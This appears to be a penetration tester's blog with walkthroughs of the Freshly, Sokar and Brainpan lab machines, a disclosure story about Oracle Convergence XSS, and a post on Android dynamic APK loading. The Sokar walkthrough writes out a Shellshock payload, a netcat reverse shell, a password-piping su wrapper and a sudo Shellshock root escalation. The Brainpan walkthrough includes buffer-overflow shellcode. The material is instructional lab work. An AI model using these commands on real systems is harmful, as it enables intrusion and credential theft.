czwartek, 26 maja 2016

PENTEST LAB - /*re*/Freshly

It's good to be back... I remember I've encountered with Freshly challenge some time ago, but somehow the walkthrough didn't get written xD This one is a webapp challenge that wants you to steal a secret from a file and from my understanding can be finished without getting root on the box, but I'll include steps I've followed to totally pwn the box :) You get the image from here.

No spoiler alerts this time :D



Let's start with looking up our target's IP:

Followed by some nmap magic:

Once everything is done it is clearly visible this box has some web stuff going on. Let's hit it with dirbuster and while it's working check content manually:

Hmmmm...Jedi...Jedi everywhere. Let's check HTTPS:

That's something : )

This one is clearly a Wordpress so a small wpscan won't hurt. While it did find some interesting vulnerabilities in plugins I've decided not to follow them yet, all because of this one line:

Missed you say...ok, you can trick me, but try that with dirbuster and:

you fail! Hmmm phpmyadmin and some login.php page. Let's visit it:

Yeah, can confirm...that is a login page, let's try the top 1 username (asd' or 1=1; --) followed by top 1 password (' or '1'='1):

Dunno about you but this smells like a SQLi for me, and yes, sqlmap picked that one without a problem. Small info here...I remember when I was pwning this box for the first time sqlmap did not want to work for unknown reasons and I had to use regexp to help it (start of line '1' and end of line was the one I used back then). After playing around with that SQLi I've found table containing creds for an admin user for Wordpress instance, and....they worked!

Having admin access to the Wordpress I started looking around this thing. While it might surprise few, when I did this challenge for the first time, it was the first time I saw admin panel of Wordpress. It took me some time to figure out where I can go from that point. Seeing template editor with php files made me smile. After dropping simple php web shell my work here was done.

While sending cmds through browser might seems cool I've quickly send one dropping me shell to my netcat listener. 

One of the first things I do after getting shell like that is spawning bash with a little help of Python:

Let's start looking around, I wanted to check /etc/passwd and here's what I got:

Looks like challenge is complete...but why stop now, right? After clicking around I've noticed that /etc/shadow has really interesting permissions set : )

I've grabbed both files (passwd and shadow) to try cracking the passwords. Believe me or not, but for unknown reasons my oclHashcat failed to crack password for root, despite having dictionary containing a valid password. I know that because after hashcat I tried using john and it did crack all passwords, the root's one turned out to be the same as the one for admin user in Wordpress : ) So here it is:

But how did you get root shell, you might ask : ) Here's the magic:

# poweroff

I'm out! Hope you liked it : ) Cause I certainly did!

piątek, 13 listopada 2015

Oracle Convergence: never-ending story of 0-day

...DARY!!! Finally, I can write about one of my findings, vendor fixed it. Some of you might be familiar with Oracle's product called Convergence. It is a web application, part of Oracle Communications Messaging Server. According to wiki:

"Oracle's Messaging Server could potentially be the most widely deployed commercial email server on the planet, with claims of 150 million mailboxes deployed worldwide (mostly by ISPs, telcos, universities, government, and cable TV broadband providers)."

Quick search on Google for "Convergence webmail" shows there are few instances running around ;)

Now imagine there was a Cross Site Scripting vulnerability in big deal right? 

Little background about Convergence...almost everything is handled by JavaScript, so with XSS you can do whatever you want, send emails, add contacts, read emails etc. More interesting, right? 

What if this vulnerability was inside part which displays email message, so to get owned you only had to open malicious email? Now we talking :)

Ahh, one more thing, I have found 2 of these :)

Now, before you continue... I want to play a game with you... What do you think... How long it took for Oracle to fix these issues? 

Got number of days? How many months it is? 

So one of them around 5 months, and the second one around… hmmm... 15-16 months. Yes, they knew about it for at least 15 months... how long was it there... who knows.

Let the fun part begin.

Issue#1: Images bad! We protect!

This one has been found 2nd, but fixed as 1st (only 5 months). Email clients protect users by blocking images inside message. Sooo our message has a img inside:
"Hey Bob! How we gonna block these images in our webmail?"
"That's super easy man, just replace all ‘src=*’with empty string"
Yes, you see it right. You are protected in 100% from nasty pictures and in addition you receive XSS! If you decide to stop the protection mechanism XSS goes away.

I won't provide ready to use PoC, reason should be clear.

Interesting thing I've learnt about Oracle... if you are their customer (long story short, I've used my previous company’s account to contact them) and you report vuln in their app they will do 2 things:
- patch it quietly,
- don't give you any credits at all.
Thank you Oracle, great work! In the end, they closed my ticket and fixed reported issue, yay!

Issue#2: Don't rush mate... be coool!

Now the 15 months one...btw to make things funnier, there was a workaround to stop this vulnerability, but I'm not aware of any comms from Oracle to their customers to apply it (#SuperHardCommandToChangeOneOption).

Every webmail client has to have proper XSS filters in place. JavaScript can add new "depth" to messages, but probably noone wants that kind of "depth". There are different ways to sanitize message. I have no idea what had been used in Convergence, but basing on the 1st issue I'd say "replace" FTW!

For some reasons they really didn't like this string:

which properly placed (somewhere in the middle) would let an attacker inject any html tag into the message viewer :) To hide any sign of malicious message I had to inject an opening tag for comment too (browser will close this one for you). 

So here's my evil message waiting inside inbox:

Let's view it:

Here's how this looks in code:

I won't post how the message should look, because I'm quite sure a lot of companies are still running vulnerable versions (one can still find instances vulnerable to stuff described here, lol).

I have just found CVE number of my issue (hopefully this one is mine, lol): CVE-2015-4793. Found it while googling for link to security patch release xD

This ends my story with Oracle... I have received a simple: "Issues reported by you have been fixed [....] Thank you" email. Also seen my name and surname in credits box in release notes. Yay!! 

Hopefully I will never have to report anything in Oracle's product again...

poniedziałek, 23 lutego 2015

Android - Loading Activity from additional apk

( update: source code can be found here: )

Some time ago I've found a way of executing Activities in Android that are not located in original apk. Here’s a little story about that!

Every Android developer who was writing big app probably had a problem with limitation of number of references in one apk file. There're few ways to deal with it for example something called Multidexing ( Developer can also create an instance of ClassLoader that will load classes from another apk, and then just use these classes.
Code below shows that:

Here’s a class I’ve created in additional apk:

and a log:
>_ term
02-20 12:26:01.466  15412-15412/ I/DynamicClassLoadActivity﹕ Trying to load new class from apk.
02-20 12:26:01.466  15412-15412/ I/DynamicClassLoadActivity﹕ dexInternalStoragePath: /data/data/
02-20 12:26:01.466  15412-15412/ I/DynamicClassLoadActivity﹕ New apk found!
02-20 12:26:01.466  15412-15412/ I/DynamicClassLoadActivity﹕ New object has class:
02-20 12:26:01.466  15412-15412/ I/DynamicClassLoadActivity﹕ Invoking getInfo on new object: New object info
This approach is nice, but has its limitations. For example you can't run new Activities using it, why? Because when you start new Activity original application ClassLoader is used.
ClassLoaders are written in Java and they are normal objects inside app, so one can get access to them. Of course they are written in such way that normal access is impossible. You can't just simply grab a ClassLoader object and start setting attributes inside it. I could end my story here but fortunately there is a thing called Java Reflection API. It gives you possibility to do almost anything with Java objects. Let's check an example class:
This class has an attribute named "guardedAttribute". It's private and there's no way you can change it normally. So here's an output of test app using that class: 
>_ term
guardedAttribute: I'm private, u can't change me!
guardedAttribute: Oh really?
guardedAttribute value changed :) Here's code of this app:
I think there's no need for explanation here. If field is final you can also change its value but if it’s primitive type u basically gain nothing cause classes will use old value. But if that final attribute is some object and you change it to new one, class will use the new one.
Let's go back to Android...I have created new apk containing Activity like this one:

I modified method for loading custom classes to look like that:

When I’ve tried to run new Activity from new apk this error showed up:

>_ term
android.content.ActivityNotFoundException: Unable to find explicit activity class {}; have you declared this activity in your AndroidManifest.xml?
Activity is not specified in AndroidManifest.xml...So let's specify it (there was an error....ignored it).

Let's check it again:
>_ term
    Process:, PID: 14987
    java.lang.RuntimeException: Unable to instantiate activity ComponentInfo{}: java.lang.ClassNotFoundException: Didn't find class "" on path: DexPathList[[zip file "/data/app/"], nativeLibraryDirectories=[
/data/app-lib/, /system/lib]]
Still error but this time different.  Going through source code of BaseDexClassLoader I’ve found that attribute holding paths to apks and libs is named “pathList”.  So I created some custom ClassLoader and then got out its “pathList” and set it to application ClassLoader. This will force app ClassLoader to load classes from my apk. Everything looks like that:

In addition I'm saving old classpath and adding it to the new one so there are no errors. Let's see what will happen when I'll try to load new Activity:

>_ term
02-20 11:51:46.742  15359-15359/ I/DynamicActivityLoadActivity﹕ Test: dalvik.system.DexClassLoader[DexPathList[[zip file "/data/data/", zip file "/data/app/"],nativeLibraryDirectories=[/data/app-lib/, /system/lib, /system/lib]]]
02-20 11:51:46.750  15359-15359/ I/TestActivity﹕ ::onStart
02-20 11:51:46.750  15359-15359/ I/TestActivity﹕ action inside TestActivity
This time everything went smooth and new Activity has been started :) Impossible is nothing! 

That's all, I think that people will find some interesting tricks that can be done using this technique. I for example, have made an app that gives user option to add new features to it. User clicks button, app connects to server, downloads required apk and runs it. Activity loader can be inside new apk. Application loads loader class from apk and fires it passing context to it. The best thing about that approach is that if u load “different” apk you can get different results. Have fun!

Source code can be found here:

S(H)O(C)KAR - "Who's Apophis?" - shortcut run!

After some absence, I’ve returned to hacking the (virtual) boxes. I’ve chosen random 2 for a good start. Sokar was one of them. I’ve grabbed it from here.

I must say, in the beginning I didn’t think that this challenge will be so cool (it really keeps your brain busy and check true skills not skills in finding some clue hidden inside some Latin text hidden inside jpg and so on). It took me 3 days (not a whole 3 days xD) to crack this one, and I’m glad I found it.

Ok let’s play!

Day I

As always, first things first. Let’s find our target:
>_ term
# netdiscover -i eth1 -r
Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
IP At MAC Address Count Len MAC Vendor
----------------------------------------------------------------------------- 08:00:27:b0:82:0a 01 060 CADMUS COMPUTER SYSTEMS 08:00:27:00:44:e4 01 060 CADMUS COMPUTER SYSTEMS 08:00:27:f2:40:db 01 060 CADMUS COMPUTER SYSTEMS

Target’s IP is: The other ones are IP of my host system and DHCP server. Next thing, port scan:

>_ term
# nmap -sV -A -n -p1-65535

Starting Nmap 6.47 ( ) at 2015-02-07 05:32 CET
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 0.49% done
Stats: 0:00:39 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 2.77% done; ETC: 05:55 (0:22:14 remaining)
Stats: 0:13:18 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 66.11% done; ETC: 05:52 (0:06:49 remaining)
Nmap scan report for
Host is up (0.00039s latency).
Not shown: 65534 filtered ports
591/tcp open  http    Apache httpd 2.2.15 ((CentOS))
| http-methods: Potentially risky methods: TRACE
|_http-title: System Stats
MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

1   0.39 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 858.28 seconds
So one open port: 591, with Apache on the other side, rest reported as filtered. Damn…there’s high possibility there’s a firewall running there. I’ve opened my browser and here’s what I’ve got:
Ok, going through source code shows me that there’s cgi-bin script running. I’ve started Dirbuster to check for any other things hosted but nothing interesting had been found. I’ve tried to look here and there, scanning udp, looking for vulns in Apache used on server…nothing. It was getting late so I decided to leave the challenge…end of day 1.

Day II

I decided to look on this challenge differently…why look for something new…let’s stick with what I’ve already found. There’s a cgi script running, so probably that’s where I should look for a way in. I’ve asked google about: “cgi-bin vulnerabilities” and here’s what I saw:

Shellshock! That’s something…heard about it, read about it, but never tried to use it. Here’s what they suggested as PoC:
>_ term
# wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"
I’ve changed IP and path to cgi and executed it. Voila:
>_ term
# wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"
--2015-02-09 10:00:33--
Łączenie się z połączono.
Żądanie HTTP wysłano, oczekiwanie na odpowiedź... 200 OK
Długość: nieznana [text/plain]
Zapis do: `cat'

    [ <=>                                         ] 986         --.-K/s   w  0s    

2015-02-09 10:00:33 (10,9 MB/s) - zapisano `cat' [986]

# cat cat

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
So now I was inside :) I started looking here and there, what’s inside different folders, what possibilities gives me my current access level. Using wget all the time was not an option so I’ve grabbed and changed Python script to help me out:
I’ve tried to create some reverse shell but unfortunately firewall blocked all my attempts. I found interesting script in one of user’s home for creating memory dump of the machine. I’ll try using that later. Time passed and I still didn’t have anything interesting…so I moved to “/var/mail” as that’s a place where sometimes you can find some useful info. And I found something, a mail to one of the users:
>_ term
# python /cgi-bin/cat "/bin/ls -la /var/mail/"
200 OK

total 12
drwxrwxr-x. 2 root    mail 4096 Dec 30 21:09 .
drwxr-xr-x. 8 root    root 4096 Nov 12 13:29 ..
-rw-rw----  1 apophis mail    0 Dec 30 19:20 apophis
-rw-rw-r--. 1 bynarr  mail  551 Dec 30 21:09 bynarr

# python /cgi-bin/cat "/bin/cat /var/mail/bynarr"
200 OK

Return-Path: <root@sokar>
Delivered-To: bynarr@localhost
Received:  from root by localhost
To: <bynarr@sokar>
Date: Thu, 13 Nov 2014 22:04:31 +0100
Subject: Welcome

Dear Bynarr.  Welcome to Sokar Inc. Forensic Development Team.
A user account has been setup for you.

UID 500 (bynarr)
GID 500 (bynarr)
    501 (forensic)

Password 'fruity'.  Please change this ASAP.
Should you require, you've been granted outbound ephemeral port access on 51242, to transfer non-sensitive forensic dumps out for analysis.

All the best in your new role!

User pass (probably not changed) and info about an open port, I couldn’t ask for more :) I’ve tried pushing shell through that port but without success. I’ve checked google…there’s a way to create user specific rules in iptables…good to know! Now I need a way to login as bynarr… My current access didn’t give me a possibility to su to another user. I started searching for some clues…oh I’ve searched a lot. Here’s my discovery (I'm sorry but I can't remember where I found that):
>_ term
(sleep 1; echo test2.,) | python -c "import pty; pty.spawn(['/bin/su','test2','-c','whoami']);"
This sends user password to su spawned by python. Quick test on my local machine and it works great!  But how can I run it inside target system? There are quotation marks and quotes…I couldn’t  use it in my script…I had to find another way…but that’s a task for the next day…


I woke up in the morning with an idea in my head…let’s create script inside target looking like:
>_ term
# cat cmdx
(sleep 1; echo fruity) | python -c "import pty; pty.spawn(['/bin/su','bynarr','-c','$1']);"
I can execute something like that with my python script, but how will I create that script inside target with my current access? After a while I’ve decided to try using base64.
>_ term
# base64 cmdx
My first try was looking like that:
>_ term
# python /cgi-bin/cat "/bin/echo IyEvYmluL2Jhc2gKKHNsZWVwIDE7IGVjaG8gZnJ1aXR5KSB8IHB5dGhvbiAtYyAiaW1wb3J0IHB0eTsgcHR5LnNwYXduKFsnL2Jpbi9zdScsJ2J5bmFycicsJy1jJywnJDEnXSk7Igo= | base64 -d > /tmp/su_logger"
200 OK

# python /cgi-bin/cat "/bin/ls -la /tmp/"200 OK

total 16
drwxrwxrwt.  3 root   root   4096 Feb  9 09:45 .
dr-xr-xr-x. 22 root   root   4096 Feb  9 08:34 ..
drwxrwxrwt   2 root   root   4096 Feb  9 08:34 .ICE-unix
-rw-rw-r--   1 bynarr bynarr 1349 Feb  9 09:45 stats
-rw-r--r--   1 apache apache    0 Feb  9 09:45 su_logger
This doesn’t look good…for some reason this didn’t work as I hoped it would. My bad…I forgot that I need bash for pipe and stuff, let’s update my command:
>_ term
# python /cgi-bin/cat "/bin/bash -c '/bin/echo IyEvYmluL2Jhc2gKKHNsZWVwIDE7IGVjaG8gZnJ1aXR5KSB8IHB5dGhvbiAtYyAiaW1wb3J0IHB0eTsgcHR5LnNwYXduKFsnL2Jpbi9zdScsJ2J5bmFycicsJy1jJywnJDEnXSk7Igo= | base64 -d > /tmp/su_logger'"
200 OK

# python /cgi-bin/cat "/bin/ls -la /tmp/"
200 OK

total 20
drwxrwxrwt.  3 root   root   4096 Feb  9 09:45 .
dr-xr-xr-x. 22 root   root   4096 Feb  9 08:34 ..
drwxrwxrwt   2 root   root   4096 Feb  9 08:34 .ICE-unix
-rw-rw-r--   1 bynarr bynarr 1527 Feb  9 09:46 stats
-rw-r--r--   1 apache apache  104 Feb  9 09:46 su_logger

# python /cgi-bin/cat "/bin/cat /tmp/su_logger"
200 OK

(sleep 1; echo fruity) | python -c "import pty; pty.spawn(['/bin/su','bynarr','-c','$1']);"
I’ve made it executable:
>_ term
# python /cgi-bin/cat "/bin/chmod +x /tmp/su_logger"
and tried it out:
>_ term
# python /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"whoami\"'"
200 OK

Bullseye! You can call me bynarr starting from now. It’s good there are always someone who doesn’t change his password. You can believe it or not but with access through that script I’ve managed to get memory dump using lime script inside /home/bynarr and download it. If you are interested, how I’ve done that, you will find all details at the end of this post.
Inside mail to bynarr was also info about an open port. Let’s try it…on my local machine I started netcat:
>_ term
# nc -vv -l -p 51242
listening on [any] 51242 ...
and invoked my python script:
>_ term
# python /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"/bin/rm /tmp/f; /usr/bin/mkfifo /tmp/f; /bin/cat /tmp/f | /bin/sh -i 2>&1 | nc 51242 > /tmp/f &\" 2>&1'"
200 OK
Let’s go back to netcat:
>_ term
# nc -vv -l -p 51242
listening on [any] 51242 ... inverse host lookup failed: Unknown server error : Connection timed out
connect to [] from (UNKNOWN) [] 50696
sh: no job control in this shell
sh-4.1$ whoami
sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash");'
python -c 'import pty;pty.spawn("/bin/bash");'
[bynarr@sokar cgi-bin]$
Immediately I spawned shell with python (I will need it). I had memory dump already so I didn’t need to create another one, cudaHashcat (for hashes found inside dump) was still downloading, so I’ve decided to look around and see what else I can do with my new, fresh shell. I googled around for “shellshock and sudo”. There was question about shellshock and sudo on Stack Overflow. They tried to do something like that:
>_ term
# export MAIL="() { :;} ; echo busted"; sudo <command>
but as they wrote, that didn’t work. I tried doing the same inside the target, because I saw MAIL env in sudo -l:
>_ term
[bynarr@sokar cgi-bin]$ sudo -l
sudo -l
Matching Defaults entries for bynarr on this host:
    !requiretty, visiblepw, always_set_home, env_reset, env_keep="COLORS

User bynarr may run the following commands on this host:
    (ALL) NOPASSWD: /home/bynarr/lime

[bynarr@sokar cgi-bin]$ export MAIL="() { :;} ; echo busted"
export MAIL="() { :;} ; echo busted"
[bynarr@sokar cgi-bin]$ sudo /home/bynarr/lime
sudo /home/bynarr/lime

Linux Memory Extractorator

LKM, add or remove?
> q
Invalid input, burn in the fires of Netu!
No busted visible…damn it. As my Internet was damn slow and I still didn’t have newest cudaHashcat, I’ve decided to read sudo manual. Here’s what interested me:
>_ term
sudo [-AbEHnPS] [-C fd] [-g group name|#gid] [-p prompt] [-r role] [-t type] [-u user name|#uid] [VAR=value] [-i | -s] [command]
Hmmm…[VAR=value] looks promising. Let’s try it:
>_ term
[bynarr@sokar cgi-bin]$ sudo MAIL="() { :;} ; echo busted" /home/bynarr/lime
sudo MAIL="() { :;} ; echo busted" /home/bynarr/lime
busted <- check this out!!!

Linux Memory Extractorator

LKM, add or remove?
> q
Invalid input, burn in the fires of Netu!
[bynarr@sokar cgi-bin]$
I must say…I was happy like a small boy who just got his birthday present. Let’s finish this out!
>_ term
[bynarr@sokar cgi-bin]$ sudo MAIL="() { :;} ; /bin/bash" /home/bynarr/lime
sudo MAIL="() { :;} ; /bin/bash" /home/bynarr/lime
[root@sokar cgi-bin]# whoami
[root@sokar cgi-bin]# ls -la /root
ls -la /root
total 36
dr-xr-x---.  2 root root 4096 Jan 15 21:14 .
dr-xr-xr-x. 22 root root 4096 Feb  9 08:34 ..
-rw-------.  1 root root    0 Jan 27 19:30 .bash_history
-rw-r--r--.  1 root root   18 May 20  2009 .bash_logout
-rw-r--r--.  1 root root  176 May 20  2009 .bash_profile
-rw-r--r--.  1 root root  176 Sep 23  2004 .bashrc
-rw-r--r--   1 root root  678 Jan  2 17:21 build.c
-rw-r--r--.  1 root root  100 Sep 23  2004 .cshrc
-rw-r--r--   1 root root  837 Jan 15 21:14 flag
-rw-r--r--.  1 root root  129 Dec  3  2004 .tcshrc
Before typing the last command I’ve just stopped for a minute, just to enjoy the view.
>_ term
[root@sokar cgi-bin]# cat /root/flag
cat /root/flag
                0   0
                |   |
         0  |~ ~ ~ ~ ~ ~|   0
         |  |   Happy   |   |
  0   |    B i r t h d a y    |   0
  |   |/\/\/\/\/\/\/\/\/\/\/\/|   |
|                                   |
|     V  u  l  n  H  u  b   ! !     |
| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ |

| Congratulations on beating Sokar! |
|                                   |
|  Massive shoutout to g0tmi1k and  |
| the entire community which makes  |
|         VulnHub possible!         |
|                                   |
|    rasta_mouse (@_RastaMouse)     |
Done! Challenge complete ^^ That’s all folks…

Ok not all…I promised I’ll show how I took the memory dump.  I didn’t have interactive shell access and I needed to pass “add” to script in order to create dump. You can cat file with “add” inside to script and it’ll work:
>_ term
# python /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"echo add > /tmp/add\"'"
200 OK


# python /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"cat /tmp/add\"'"200 OK


# python /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"sudo /home/bynarr/lime < /tmp/add\"'"
200 OK


Linux Memory Extractorator

LKM, add or remove?
# python /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"ls -la /tmp\"'"200 OK

total 261720
drwxrwxrwt.  3 root   root        4096 Feb  9 10:25 .
dr-xr-xr-x. 22 root   root        4096 Feb  9 08:34 ..
drwxrwxrwt   2 root   root        4096 Feb  9 08:34 .ICE-unix
-rw-r--r--   1 bynarr bynarr         4 Feb  9 10:24 add
prw-r--r--   1 bynarr bynarr         0 Feb  9 10:22 f
-r--r--r--   1 root   root   267971584 Feb  9 10:25 ram
-rw-rw-r--   1 bynarr bynarr      1705 Feb  9 10:25 stats
-rwxr-xr-x   1 apache apache       104 Feb  9 09:46 su_logger
As you can see there’s a new file named ram containing memory dump. Now…how to get it out without open ports (I forgot about 51242 :) ? Base64 was helpful as always:
>_ term
# python /cgi-bin/cat "/bin/bash -c '/tmp/su_logger \"base64 /tmp/ram\"'" > tmp_ram
# ls -la tmp_ram
-rw-r--r-- 1 root root 366697981 lut  9 11:30 tmp_ram
It’s still base64 and there’s another problem, during transport newline chars have been broken and typing base64 -d tmp_ram will give you an error. Good there’s dos2unix. After fixing, file will be decoded properly and you will have a piece of memory to look inside. I executed strings on it and found hashes (from /etc/shadow) for root, apophis and bynarr (that’s why I needed cudaHashcat). I also looked for firewall rules inside that dump (I still didn’t remember about that open port from mail) and that’s where I found open port for my reverse shell :)


czwartek, 25 września 2014

Little update

Hi all! Sorry for this whole silence, but I've been quite busy lately. I was learning for CEHv8. I had few hard times but eventually everything paid off and I passed the exam! For these who currently are learning for CEH, keep it going! Read as much as you can. Find some example questions and go through them few times. When doing answers first, divide them in groups and then read the question. 
The other thing that kept me busy (and still keeps) is moving to Sydney. I'll stay here for a while so if you or your company are looking for pentester or java developer you can give me a call :)
That's all for today...I hope that soon I'll have some time to do some hacking (the box) and writing another walkthrough. There's also a nice disclosure waiting in the line. Dunno how long it will have to wait but I can tell you that it's gonna be LEGEN...

piątek, 13 czerwca 2014

PENTEST LAB - BRAINPAN (probably the fastest way)

Hi and welcome! This is "PENTEST LAB" series, featuring "Brainpan" challenge walkthrough. After my success with "Brainpan: 2" challenge (part I and part II) I've decided to look into the first version. I've grabbed file from here. It's configured like the second one and will grab IP address from DHCP.

 If you want to finish this challenge alone stop reading here.

GOAL: Obtain root on the system.

Challenge accepted!

Like always, let's look for the IP first:
>_ term
 Currently scanning: Finished!   |   Screen View: Unique Hosts                       
 2 Captured ARP Req/Rep packets, from 2 hosts.   Total size: 102
   IP            At MAC Address      Count  Len   MAC Vendor                  
 -----------------------------------------------------------------------------    08:00:27:da:53:b9    01    060   CADMUS COMPUTER SYSTEMS    08:00:27:13:67:1a    01    042   CADMUS COMPUTER SYSTEMS
Now check open ports:
>_ term
Starting Nmap 6.45 ( ) at 2014-06-04 15:02 CEST
Nmap scan report for
Host is up (0.00022s latency).
Not shown: 11998 closed ports
9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
| ndmp-version:
|_  ERROR: Failed to get host information from server
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
MAC Address: 08:00:27:13:67:1A (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.9
Network Distance: 1 hop

1   0.22 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 39.57 seconds

Two ports 9999 and 10000. Looks similar to Brainpan:2. HtppSimpleServer (Python) and custom app. HttpServer hosts image. I've launched dirbuster against it. While dirbuster was working I've checked custom app from 9999.
>_ term
$ nc 9999
_|                            _|                                       
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_| 
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                             


A banner with prompt for password. After playing with it for a while I had nothing and went to dirbuster to check its findings. One folder found with some binary inside. I've downloaded it and checked with "file" command. Looks like a windows binary. Running strings against it gave me this:
>_ term
$ strings http10000-brainpan.exe
[get_reply] s = [%s]
[get_reply] copied %d bytes to buffer
_|                            _|                                       
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_| 
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                             
                          ACCESS DENIED
                          ACCESS GRANTED
[+] initializing winsock...
[!] winsock init failed: %d
[!] could not create socket: %d
[+] server socket created.
[!] bind failed: %d
[+] bind done on port %d
[+] waiting for connections.
[+] received connection.
[+] check is %d
[!] accept failed: %d
[+] cleaning up.

The "shitstorm" caught my attention and I've typed it as password in the custom app.
>_ term
$ nc 9999
_|                            _|                                       
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_| 
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                             

                          >> shitstorm
                          ACCESS GRANTED
Access granted and "Connection closed"...looks like that app is only checking the pass and then closing the connection. That leaves me with only one way inside system...through exploiting that app. What I knew at that point:
  • system is running with one IP:
  • two ports are open: 9999 and 10000
  • python SimpleHtppServer on 10000
  • custom app on 9999, running in wine
  • app binary accessible through http server
  • app must be exploited in order to get inside system

I had two choices here, since app is a windows binary I could debug it in windows machine or try with wine and ollydbg in linux. I chose the second option and stayed with Linux. That binary is some kind of server, it opens socket and waits for connections. When connection occurs it reads input and checks whether it equals the magic string and then closes the connection. I've made some tests to check if I can crush it. Indeed, providing very long input crashed the app.

I started with debugging proper working server. There's a method named "get_reply" which is called after accepting connection from user. I set a breakpoint on exit point (instruction RETN and LEAVE) from that method, connected to the server and sent some "aaaa" as input. Below screen showing my data inside memory.

Worth noting is the beginning address of provided data which is 0x0043F600. Going one step further:

ESP is now pointing to the address 0x0043F80C with value 311715EB if we proceed we can see that's the address the program jumps to:

Let's do some calculations: 0xF80C-0xF600=0x20C=524. So providing input longer than 524 chars will break the app. I've created python script for that purpose.
Later I'll use that script for exploitation because I'll probably need a way to send hex (binary) data to the server as my input. Below you can see how app copies 550 bytes to buffer:

Let's check address 0x0043F80C:

it's value has been overwritten with 61's ('a') and app crashed while trying to read memory at address 0x61616161:

What I needed now is the way to execute my code by making app jumping into it. Unfortunately I couldn't provide address at which my variable is stored because there were 0's in it. "\x00" is called null byte and when app reads user input it'll stop at that byte. I've started looking for another way...if you check the last image you will see that, after the jump, ESP points to address 0x0043F810. My data is there so I can write there anything. The only needed thing now is "JMP ESP" somewhere in the app code. I've opened a binary in hte, changed mode to "pe/image", F7 for search, changed mode to "display: regex" and searched for "jmp.+esp". Here's the result:

My payload will need to look like that:
| 524 bytes of garbage | jmp esp address | nop sled (just in case) | shellcode |
I have "notepad.exe" in wine so I created needed code (mind the -b option, with it and "\x00" as value, created code won't have any null bytes which is crucial here):
>_ term
$ msfvenom -p windows/exec CMD=notepad.exe -b "\x00" -f py
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 230 (iteration=0)
buf =  ""
buf += "\xb8\xeb\x66\xd9\x09\xd9\xce\xd9\x74\x24\xf4\x5e\x33"
buf += "\xc9\xb1\x33\x31\x46\x15\x83\xee\xfc\x03\x46\x11\xe2"
buf += "\x1e\x9a\x31\x80\xe0\x63\xc2\xf3\x69\x86\xf3\x21\x0d"
buf += "\xc2\xa6\xf5\x46\x86\x4a\x7d\x0a\x33\xd8\xf3\x82\x34"
buf += "\x69\xb9\xf4\x7b\x6a\x0f\x38\xd7\xa8\x11\xc4\x2a\xfd"
buf += "\xf1\xf5\xe4\xf0\xf0\x32\x18\xfa\xa1\xeb\x56\xa9\x55"
buf += "\x98\x2b\x72\x57\x4e\x20\xca\x2f\xeb\xf7\xbf\x85\xf2"
buf += "\x27\x6f\x91\xbc\xdf\x1b\xfd\x1c\xe1\xc8\x1d\x60\xa8"
buf += "\x65\xd5\x13\x2b\xac\x27\xdc\x1d\x90\xe4\xe3\x91\x1d"
